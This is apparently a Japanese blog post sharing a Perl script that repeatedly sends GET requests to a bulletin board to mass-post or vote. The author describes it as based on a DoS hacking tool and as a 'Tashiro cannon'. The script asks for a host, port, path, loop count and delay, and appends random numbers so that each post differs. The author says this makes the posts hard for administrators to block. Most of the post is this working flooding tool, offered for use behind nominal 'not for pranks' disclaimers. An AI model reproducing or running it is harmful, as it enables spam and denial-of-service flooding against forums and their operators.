現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;
私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。
※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | #!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.1.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:https://www.orsx.net/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #アクセス先ホストの指定 while ( $host eq "" ){ print "X" x "50" . "n" ; print "URL(ホスト名)を入力してくださいn" ; $host = <stdin>; chomp $host ; if ( $host eq "quit" ){ exit ;} } #ポートを指定するかユーザーへ質問する print "X" x "50" . "n" ; print "ポート番号を指定しますか?[y/n]" ; $q_port = <stdin>; print "指定しない場合は80番ポートへアクセスしますn" ; chomp $q_port ; #yが入力されたらポート番号が入力されるまで待機 if ( $q_port eq "y" ){ print "X" x "50" . "n" ; print "ポートを指定しますn" ; print "> " ; $port = <stdin>; chomp $port ; } else { $port = "80" ; } #乱数を追記させるかを確認 print "X" x "50" . "n" ; print "送信するデータに乱数を追加しますか?[y/n]" ; $r = <stdin>; chomp $r ; #ファイルの場所の指定 print "X" x "50" . "n" ; print "URL(ファイルの場所と送信データ)を入力してくださいn" ; print "乱数を追加しますのでコメントのname=で終了してくださいn" if ( $r eq "y" ); $bbs = <stdin>; chomp $bbs ; $bbs = "/" . $bbs ; #送信回数 print "X" x "50" . "n" ; print "ループさせる回数を指定してくださいn" ; print "> " ; $loop = <stdin>; chomp $loop ; if ( $loop eq "" || $loop eq "1" ){ $loop = "2" ; $ex = "1" ; } if ( $loop == "0" ){ print "Error:0回のループは指定出来ません!n" ; exit ; } $loop -= "1" ; #スリープの設定 print "X" x "50" . "n" ; print "指定秒ウェイトを設定する場合は入力してくださいn" ; print "> " ; $slp = <stdin>; chomp $slp ; #指定させた数字になるまでループ while ( $ex <= $loop ){ print "X" x "50" . "n" ; $bbs2 = $bbs ; #乱数格納 if ( $r eq "y" ){ $rr = rand ( "1000" ); $bbs2 .= $rr ; } #送信数のインクリメント $exd = $exd + "1" ; print "$exd回目n" ; #割合 if ( $loop ne "" ){ $sa = int (( $ex / $loop )* "100" ); print "進行状況:[$sa%/100%]を完了しましたn" ; $ex += "1" ; } #送信情報の出力 print "ホストへ以下の情報を送信中ですn" ; print "$bbs2n" ; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host" , PeerPort => "$port" , Proto => "tcp" , ); die "Error:ホストに接続できませんでした!n" unless $socket ; #送信 print $socket "GET $bbs2 HTTP/1.0nn" ; close ( $socket ); #スリープ print "$slp秒スリープしますn" if ( $slp ne "" ); sleep $slp ; } print "終了しましたn" |
0 Comments.